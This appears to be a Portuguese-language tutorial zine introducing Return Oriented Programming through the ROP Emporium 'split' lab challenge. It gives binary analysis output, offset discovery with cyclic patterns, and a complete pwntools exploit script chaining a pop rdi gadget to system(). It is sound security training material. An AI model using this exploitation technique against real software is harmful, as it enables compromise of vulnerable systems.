███    █▄     ▄███████▄    ▄████████  ▄█     ▄████████  ▄█  ███▄▄▄▄     
███    ███   ███    ███   ███    ███ ███    ███    ███ ███  ███▀▀▀██▄  
███    ███   ███    ███   ███    ███ ███▌   ███    █▀  ███▌ ███   ███  
███    ███   ███    ███  ▄███▄▄▄▄██▀ ███▌   ███        ███▌ ███   ███ 
███    ███ ▀█████████▀  ▀▀███▀▀▀▀▀   ███▌ ▀███████████ ███▌ ███   ███
███    ███   ███        ▀███████████ ███           ███ ███  ███   ███ 
███    ███   ███          ███    ███ ███     ▄█    ███ ███  ███   ███
████████▀   ▄████▀        ███    ███ █▀    ▄████████▀  █▀    ▀█   █▀    
                          ███    ███     

~ T0k1To

    ...    *    .   _  .
    *  .  *     .   * (_)   *    w00h
      .      |*  ..   *   ..   wOOh
       .  * \|  *  ___  . . *
    *   \/   |/ \/{o,o}     .    Using ROP
      _\_\   |  / /)  )* _/_ *   like a ROPE X)
          \ \| /,--"-"---  ..
    _-----`  |(,__,__/__/_ .
           \ ||      ..       w0Oh
            ||| .            *  wO0h
            |||
            |||
      , -=-~' .-^- _
               `
    ~ Directly from the internet manholes!
    
    ---[ The History
    
    Já adianto que para compreensão do assunto abordado, eu recomendo conhecimento em     
    arquitetura de computadores, arquitetura de sistemas operacionais, conceitos básicos  
    de memória(suas regiões), e uma breve introdução de como funciona um buffer overflow. 
    
    Não é de hoje que eu venho me interessando por assuntos envolvendo low-level, porém se
    existe um tópico que eu pouco havia adentrado em meus estudos, esse assunto com toda a
    certeza é binary exploitation. Então, tudo isso que aqui está escrito, provavelmente é
    fruto de alguns resumos que fiz enquanto estudava, agora chega de balela, e vamos para
    a tão esperada introdução a Return Oriented Programming, também conhecida como ROP!  
    
    ---[ Introduction
    
    Antes de simplesmente explicar como funciona ROP, eu acho interessante entendermos o  
    porque essa técnica se popularizou, então vamos para um pouco de background agora...  
                 
    Antigamente para explorar um buffer overflow na stack, era comum escrever shellcodes  
    e executalos na stack, porém com o surgimento de uma proteção chamada NX bit, isso se 
    tornou algo inviavel; essa proteção faz da stack uma região de memória não executavel.
    
    Então a alternativa encontrada foi simplesmente reutilizar do código já existente no  
    binário, e foi assim que surgiu o uso de ROP, ou Return Oriented Programming.         
    
    ---[ Stack Overview
    
    Eu comecei a escrever isso supondo que você saiba o que é a stack, mas se eu pudesse  
    fazer um "resumo do resumo", eu acho que não seria o suficiente para compreensão.     
    
    Pensando nisso, eu decidi deixar algumas referências de leitura aqui, caso necessário 
    acredito que podemos conversar sobre o assunto, me contatar não é muito difícil.      
    
    Referencias de leitura em PT_br:
    https://gitbook.ganeshicmc.com/engenharia-reversa/pilha
    https://pt.stackoverflow.com/questions/3797/o-que-s%C3%A3o-e-onde-est%C3%A3o-a-stack-e-heap
    /* Convenções de Chamada */
    http://www.ece.ufrgs.br/~fetter/eng10032/lab04.pdf
    
    Referencias de leitura em EN_us:
    https://exploit.courses/files/bfh2022/day1/
    https://www.makeuseof.com/stack-and-heap-memory-allocation/
    /* Calling Conventions */
    https://en.wikipedia.org/wiki/Calling_convention
    https://aaronbloomfield.github.io/pdr/book/x86-64bit-ccc-chapter.pdf
    
    ---[ The Return Oriented Programming
    
    O conceito de ROP é algo relativamente simples, mas a prática pode ser complexa.      
    ROP resumidamente consiste em usar de uma sequência de instruções disponiveis no      
    binário, ou nas bibliotecas presentes no programa. Essa sequência de instruções são   
    chamadas de gadgets.                                                                  
    
    Os gadgets podem ser "classificados" como intencionais, sendo esses aqueles que o     
    desenvolvedor propositalmente deixou no programa, e os não intencionais, que como     
    você deve imaginar, eles estão presentes sem a consciência do desenvolvedor.            
    
    Basicamente para explorarmos ROP, precisamos retornar ROP gadgets.                    
    
    ---[ What the Fuck are ROP gadgets?
    
    ROP gadgets assim como eu disse anteriormente, são pequenas sequências de instruções
    terminadas com um "ret", representado por um byte "c3".                         
    
    Como um ROP gadget sempre deve terminar com um "ret" para nos permitir realizar nossas
    tarefas, surgiu o nome de "Orientado a Retorno", por isso Return Oriented Programming.
    
    Uma das formas para encontrar esses gadgets, é seguir os 3 seguintes passos:          
    
        1) Procurar no binário por todos os bytes que representam "ret" (c3).             
    
        2) Garantimos que antes dos bytes c3, temos uma instrução válida, por convenção   
        nas arquiteturas x86(i386) e x86-64 que possuí 20 bytes.                          
    
        3) Em seguida, gravamos todas as sequências de instruções válidas encontradas no  
        binário ou nas bibliotecas vinculadas.                                            
    
    Entretanto, nesse paper utilizaremos de uma ferramenta para facilitar a descoberta    
    desses gadgets, mas não se preocupe com isso por agora.                               
    
    ---[ How can i use this shit?!
    
    Podemos fazer uma infinidade de coisas com gadgets, mas basicamente podemos usar deles
    para executar qualquer instrução, se a sequência de instruções correta for encontrada.
    
    Porém, como você deve imaginar, nem todo o gadget é útil, sendo interessante ter 
    em mente alguns exemplos de gadgets que possivelmente ajudarão no processo de explorar
    ROP.                                                                                  
    
    Tudo fará mais sentido quando praticarmos.                                            
    
    ---[ Exploiting Stack Overflow using ROP gadgets
    
    Depois desse background todo, iremos explorar 'ROP' em um binário vulnerável disponível 
    em ropemporium.com, o desafio é chamado de "Split". Para solucionar esse desafio,     
    precisamos montar uma pequena 'ROP Chain'.                                              
    
    OBS: ROP Chain é o nome dado a uma cadeia/sequência de ROP gadgets.                    
    
    O nosso objetivo é usar deste binário para ler um arquivo chamado flag.txt.           
    
    4g0r4 ch3g0u 4 h0r4 d4 m4ld4d3, t1r3m 45 cr14nç45 d4 s4l4...
    
    Vamos começar fazendo download do arquivo zip, e extraí-lo.                           
    
    [-----]
    
    absolute@evil > curl https://ropemporium.com/binary/split.zip -o split.zip
    
      % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                     Dload  Upload   Total   Spent    Left  Speed
    100  3096  100  3096    0     0   2126      0  0:00:01  0:00:01 --:--:--  2129
    
    absolute@evil > unzip split.zip
    
    Archive:  split.zip
      inflating: split                   
     extracting: flag.txt                
    
    [-----]
    
    Feito isso temos nossos preparativos prontos para iniciar o challenge, porém eu usarei
    algumas ferramentas para facilitar o processo, então caso queiram ver os projetos:    
    
    --------------------------------------------------------------------------------------
    |                                                                                    |
    |   https://github.com/slimm609/checksec.sh                                          |
    |                                                                                    |
    |   objdump, strings e nm - Três ferramentas que fazem parte do pacote GNU Binutils  |
    |                                                                                    |
    |   https://github.com/JonathanSalwan/ROPgadget                                      |
    |                                                                                    |
    |   Utilizarei GDB com a extensão chamada pwndbg - https://github.com/pwndbg/pwndbg  |
    |                                                                                    |
    --------------------------------------------------------------------------------------
    
    Vamos usar o checksec para checkar as proteções do binário, e algumas informações...  
    
    [-----]
    
    absolute@evil > checksec --file=split
    
    RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH	Symbols		FORTIFY	Fortified	Fortifiable	FILE
    Partial RELRO   No canary found   NX enabled    No PIE          No RPATH   No RUNPATH   70 Symbols	  No	0		3split
    
    HuNm nesse caso o binário possuí 'NX Bit enabled', o que faz da stack uma região 
    de memória não executável.                                                            
    
    Sabendo disso, eu decidi fazer uma análise estática do binário.                       
    
    absolute@evil > nm -g -C split
    
    0000000000601072 B __bss_start
    0000000000601050 D __data_start
    0000000000601050 W data_start
    00000000004005e0 T _dl_relocate_static_pie
    0000000000601058 D __dso_handle
    0000000000601072 D _edata
    0000000000601088 B _end
    00000000004007d4 T _fini
                     w __gmon_start__
    0000000000400528 T _init
    00000000004007e0 R _IO_stdin_used
    00000000004007d0 T __libc_csu_fini
    0000000000400760 T __libc_csu_init
                     U __libc_start_main@@GLIBC_2.2.5
    0000000000400697 T main
                     U memset@@GLIBC_2.2.5
                     U printf@@GLIBC_2.2.5
                     U puts@@GLIBC_2.2.5
                     U read@@GLIBC_2.2.5
                     U setvbuf@@GLIBC_2.2.5
    00000000004005b0 T _start
    0000000000601078 B stdout@@GLIBC_2.2.5
                     U system@@GLIBC_2.2.5
    0000000000601078 D __TMC_END__
    0000000000601060 D usefulString
    
    [-----]
    
    Comecei listando algumas funções no binário, isso não é o suficiente     
    mas é um começo, pois o output nos retornou o uso de 'system()' dentro do binário.    
    
    Além disso, ele nos retorna um label chamado usefulString, irei salvar esse address.  
    
    [-----]
    
    absolute@evil > objdump -M x86-64 -d split
    
    0000000000400697 main:
      400697:	55                   	push   %rbp
      400698:	48 89 e5             	mov    %rsp,%rbp
      40069b:	48 8b 05 d6 09 20 00 	mov    0x2009d6(%rip),%rax        # 601078 stdout@GLIBC_2.2.5
      4006a2:	b9 00 00 00 00       	mov    $0x0,%ecx
      4006a7:	ba 02 00 00 00       	mov    $0x2,%edx
      4006ac:	be 00 00 00 00       	mov    $0x0,%esi
      4006b1:	48 89 c7             	mov    %rax,%rdi
      4006b4:	e8 e7 fe ff ff       	call   4005a0 
      4006b9:	bf e8 07 40 00       	mov    $0x4007e8,%edi
      4006be:	e8 8d fe ff ff       	call   400550 
      4006c3:	bf fe 07 40 00       	mov    $0x4007fe,%edi
      4006c8:	e8 83 fe ff ff       	call   400550 
      4006cd:	b8 00 00 00 00       	mov    $0x0,%eax
      4006d2:	e8 11 00 00 00       	call   4006e8 
      4006d7:	bf 06 08 40 00       	mov    $0x400806,%edi
      4006dc:	e8 6f fe ff ff       	call   400550 
      4006e1:	b8 00 00 00 00       	mov    $0x0,%eax
      4006e6:	5d                   	pop    %rbp
      4006e7:	c3                   	ret
    
    00000000004006e8 pwnme:
      4006e8:	55                   	push   %rbp
      4006e9:	48 89 e5             	mov    %rsp,%rbp
      4006ec:	48 83 ec 20          	sub    $0x20,%rsp
      4006f0:	48 8d 45 e0          	lea    -0x20(%rbp),%rax
      4006f4:	ba 20 00 00 00       	mov    $0x20,%edx
      4006f9:	be 00 00 00 00       	mov    $0x0,%esi
      4006fe:	48 89 c7             	mov    %rax,%rdi
      400701:	e8 7a fe ff ff       	call   400580 memset@plt
      400706:	bf 10 08 40 00       	mov    $0x400810,%edi
      40070b:	e8 40 fe ff ff       	call   400550 puts@plt
      400710:	bf 3c 08 40 00       	mov    $0x40083c,%edi
      400715:	b8 00 00 00 00       	mov    $0x0,%eax
      40071a:	e8 51 fe ff ff       	call   400570 printf@plt
      40071f:	48 8d 45 e0          	lea    -0x20(%rbp),%rax
      400723:	ba 60 00 00 00       	mov    $0x60,%edx
      400728:	48 89 c6             	mov    %rax,%rsi
      40072b:	bf 00 00 00 00       	mov    $0x0,%edi
      400730:	e8 5b fe ff ff       	call   400590 read@plt
      400735:	bf 3f 08 40 00       	mov    $0x40083f,%edi
      40073a:	e8 11 fe ff ff       	call   400550 puts@plt
      40073f:	90                   	nop
      400740:	c9                   	leave
      400741:	c3                   	ret
    
    0000000000400742 usefulFunction:
      400742:	55                   	push   %rbp
      400743:	48 89 e5             	mov    %rsp,%rbp
      400746:	bf 4a 08 40 00       	mov    $0x40084a,%edi
      40074b:	e8 10 fe ff ff       	call   400560 system@plt
      400750:	90                   	nop
      400751:	5d                   	pop    %rbp
      400752:	c3                   	ret
      400753:	66 2e 0f 1f 84 00 00 	cs nopw 0x0(%rax,%rax,1)
      40075a:	00 00 00 
      40075d:	0f 1f 00             	nopl   (%rax)
    
    [-----]
    
    Olhando melhor, vemos algumas funções aparentemente úteis.                            
    
    Sendo a 'main' aquela que tem consigo um input com um buffer, a função 'pwnme' que    
    parece ler aquilo que foi 'inputado' pelo usuário, e a função usefulFunction que
    possuí uma chamada para system().                                                     
    
    Sabendo que o nosso objetivo é ler um arquivo, poderemos usar desses gadgets.         
    
    Eu ainda estou em dúvida, quais seriam os argumentos de system? Vamos descobrir!      
    Decidi também ver o que era o endereço de 'usefulString'.
    
    [-----]
    
    absolute@evil > gdb -q split
    
    pwndbg: loaded 197 commands. Type pwndbg [filter] for a list.
    pwndbg: created $rebase, $ida gdb functions (can be used with print/break)
    Reading symbols from split...
    Debuginfod has been disabled.
    To make this setting permanent, add 'set debuginfod enabled off' to .gdbinit.
    (No debugging symbols found in split)
    pwndbg> x/s 0x0601060
    0x601060 :	"/bin/cat flag.txt"
    pwndbg> x/s 0x40084a
    0x40084a:	"/bin/ls"
    pwndbg> quit
    
    absolute@evil > strings -a -t x split
    
        238 /lib64/ld-linux-x86-64.so.2
        3b1 libc.so.6
        3bb puts
        3c0 printf
        3c7 memset
        3ce read
        3d3 stdout
        3da system
        3e1 setvbuf
        3e9 __libc_start_main
        3fb GLIBC_2.2.5
        407 __gmon_start__
        760 AWAVI
        767 AUATL
        7ba []A\A]A^A_
        7e8 split by ROP Emporium
        7fe x86_64
        807 Exiting
        810 Contriving a reason to ask user for data...
        83f Thank you!
        84a /bin/ls
        917 ;*3$"
       1060 /bin/cat flag.txt
       1072 GCC: (Ubuntu 7.5.0-3ubuntu1~18.04) 7.5.0
    
    [-----]
    
    Aqui vemos algumas strings, uma delas é /bin/cat flag.txt, sendo usefulString         
    também vemos que em usefulFunction, temos uma chamada para system() que chama /bin/ls.
    
    Utilizei o endereço do label que foi retornado no output do comando nm antes para     
    confirmar o que era a label usefulString.                                             
    
    Executaremos o programa para testar algumas coisas, vamos confirmar o que vimos       
    anteriormente com o uso de strings...                                                                      
    
    [-----]
    
    absolute@evil > ./split
    
    split by ROP Emporium
    x86_64
    
    Contriving a reason to ask user for data...
    > userinputhere 
    Thank you!
    
    Exiting
    
    Colocando essa string no input, ele nos retorna uma saída e fecha o programa.         
    
    Porém, o que aconteceria se tentassemos estourar esse buffer?                         
    
    absolute@evil > ./split
    
    split by ROP Emporium
    x86_64
    
    Contriving a reason to ask user for data...
    > iiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiii
    Thank you!
    Segmentation fault (core dumped)
    
    [-----]
    
    Aparentemente conseguimos um Segmentation fault, ou seja, algo que teoricamente não    
    deveria acontecer quando inserimos uma quantia 'x' de 'bytes'.                            
    
    Já que já realizamos uma pequena análise do binário, dessa vez buscaremos             
    especificamente por gadgets usando ROPgadget.py!                                      
    
    [-----]
    
    absolute@evil > ROPgadget --binary split
    
    ...snipped....
    0x00000000004007c3 : pop rdi ; ret
    ...snipped...
    
    RDI é um registrador que equivale a um dos argumentos da stack, nesse caso o primeiro
    e único (calling conventions).
    
    Mas para conseguir fazer com que a próxima instrução a ser executada seja o conteúdo  
    do registrador DI, precisaremos manipular os valores do IP (Instruction Pointer).     
    
    O Instruction Pointer, caso não se lembre, é responsável por apontar para a proxima   
    instrução a ser executada.                                                            
    
    Iremos sobreescrever o valor do SP usando de uma técnica que ficou conhecida por usar 
    De Bruijn Sequences para poder calcular exatamente o tamanho do deslocamento até o IP 
    ou seja, usaremos disso para sabermos a quantia de bytes que devemos inserir para     
    alterar o valor do Instruction Pointer.                                               
    
    De Bruijn Sequences de ordem n, são simplesmente uma sequência de caracteres onde     
    nenhuma sequência de n caracteres é repetida.                                         
    
    Por padrão, usando o cyclic, n equivale a 4, ou seja, terão sequências de 4 caracteres
    onde nenhuma delas se repete.                                                         
    
    Vamos ver isso, na prática agora.                                                     
    
    absolute@evil > gdb -q split
    
    pwndbg: loaded 197 commands. Type pwndbg [filter] for a list.
    pwndbg: created $rebase, $ida gdb functions (can be used with print/break)
    Reading symbols from split...
    Debuginfod has been disabled.
    To make this setting permanent, add 'set debuginfod enabled off' to .gdbinit.
    (No debugging symbols found in split)
    pwndbg> cyclic 100
    aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaa
    
    Copiaremos esse output, para usarmos dentro do input do programa.
    
    pwndbg> r
    Starting program: /home/infected/rop/split 
    [Thread debugging using libthread_db enabled]
    Using host libthread_db library "/usr/lib/libthread_db.so.1".
    split by ROP Emporium
    x86_64
    
    Contriving a reason to ask user for data...
    >aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaa
    Thank you!
    
    Program received signal SIGSEGV, Segmentation fault.
    0x0000000000400741 in pwnme ()
    
    --------------------------------[REGISTERS]------------------------------------
    
     RAX  0xb
     RBX  0x7fffffffe7f8 —▸ 0x7fffffffeadc ◂— '/home/absolute/split'
     RCX  0x7ffff7eb49d4 (write+20) ◂— cmp    rax, -0x1000 /* 'H=' */
     RDX  0x0
     RDI  0x7ffff7f98850 ◂— 0x0
     RSI  0x7ffff7f97623 (_IO_2_1_stdout_+131) ◂— 0xf98850000000000a /* '\n' */
     R8   0x4007d0 (__libc_csu_fini) ◂— ret    
     R9   0x7ffff7fced70 ◂— endbr64 
     R10  0x7ffff7dc9bd0 ◂— 0xf001200001a3f
     R11  0x202
     R12  0x0
     R13  0x7fffffffe808 —▸ 0x7fffffffeaf5 ◂— 'SHELL=/bin/bash'
     R14  0x0
     R15  0x7ffff7ffd000 (_rtld_global) —▸ 0x7ffff7ffe2c0 ◂— 0x0
     RBP  0x6161616a61616169 ('iaaajaaa')
     RSP  0x7fffffffe6d8 ◂— 0x6161616c6161616b ('kaaalaaa')
     RIP  0x400741 (pwnme+89) ◂— ret    
    
    -------------------------------------------------------------------------------
    
    Aqui podemos ver que o valor do Stack Pointer(SP) foi sobreescrito por 'kaaalaaa', mas
    para descobrir o deslocamento(offset) certo de bytes até o Instruction Pointer,       
    utilizaremos apenas 4 caracteres, que representam a sequência de bruijin.             
    
    pwndbg> cyclic -l kaaa
    40
    
    Sendo assim, a quantidade exata de bytes que devemos inserir para nos deslocarmos até 
    o instruction pointer é 40, com isso já temos tudo o que precisamos para escrever     
    nosso tão querido exploit.                                                            
    
    [-----]
    
    Utilizaremos do gadget que encontramos para montar nosso xpl01t de h4xx0r 1337!       
    Para isso utilizaremos a biblioteca pwntools do python.                               
    
    ~~> xpl.py===============================================================
    
    #!/usr/bin/env python3
    from pwn import *
    
    if __name__ == "__main__":    
        # Abre o binário "split" e desabilita a saida de checksec
        e = context.binary = ELF("./split", checksec=False)
    
        # Cria um processo com informações do binário obtidas anteriormente 
        p = process(e.path)
    
        # Define o "lixo" que iremos inserir 40 bytes 
        junk = b"i" * 40
        
        # Nosso gadget coletado com ROPgadget.py --binary split (pop rdi;ret)
        gadget = p64(0x00000000004007c3)
    
        # Endereço de usefulString 
        usefulString = p64(0x00601060)
    
        # Endereço de system
        system = p64(0x000000000040074b)
    
        # Definindo nosso payload, eu uso dos 40 bytes para nos deslocarmos
        # até o Instruction Pointer, e então acrescentamos o endereço do   
        # nosso gadget que é consumido da stack e colocado em rip, assim   
        # incrementando o sp; quando nosso gadget for executado, o valor de
        # usefulString será consumido da stack e salvo em rdi. Após isso o 
        # gadget retorna e então system que está no topo da stack é consumida
        # e salva em rip assim executando o conteudo de usefulString.
        # (/bin/cat flag.txt)
        payload =  junk
        payload += gadget
        payload += usefulString
        payload += system
        
        # Enviando nosso payload e exibindo o resultado
        p.sendlineafter(">", payload)
        print (p.recvall().decode("utf8"))
    
    ==================================================================EOF <~~
    
    [-----]
    
    absolute@evil > python3 xpl.py
    
    [+] Starting local process '/home/absolute/split': pid 5531
    /usr/local/lib/python3.11/dist-packages/pwnlib/tubes/tube.py:823: BytesWarning: Text is not bytes;
    assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
      res = self.recvuntil(delim, timeout=timeout)
    [+] Receiving all data: Done (119B)
    [*] Process '/home/absolute/split' stopped with exit code -11 (SIGSEGV) (pid 5531)
    b' Thank you!\nROPE{a_placeholder_32byte_flag!}\nsplit by ROP Emporium\nx86_64\n\nContriving a reason to ask user for data...\n'
    
    [-----]
    
    Bom, parece que chegamos ao fim! Espero ter ajudado alguém de alguma forma com isso,  
    eu recomendo que faça outros desafios do ropemporium porque além de introdutórios, são
    ótimos.
    
    "Os lábios da sabedoria estão fechados, exceto aos ouvidos do Entendimento." - Caibalion
    
                                           .
                                 /^\     .
                            /\   "V"
                           /__\   I      O  o
                          //..\\  I     .
                          \].`[/  I
                          /l\/j\  (]    .  O
                         /. ~~ ,\/I          .
                         \\L__j^\/I       o
                          \/--v}  I     o   .
                          |    |  I   _________
                          |    |  I c(`       ')o
                          |    l  I   \.     ,/      
                        _/j  L l\_!  _//^---^\\_
                     ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
            greetz: n0rth97, zing, kosu, ghosthk and spy_unkn0wn
    
              Free Knowledge for those who desired for it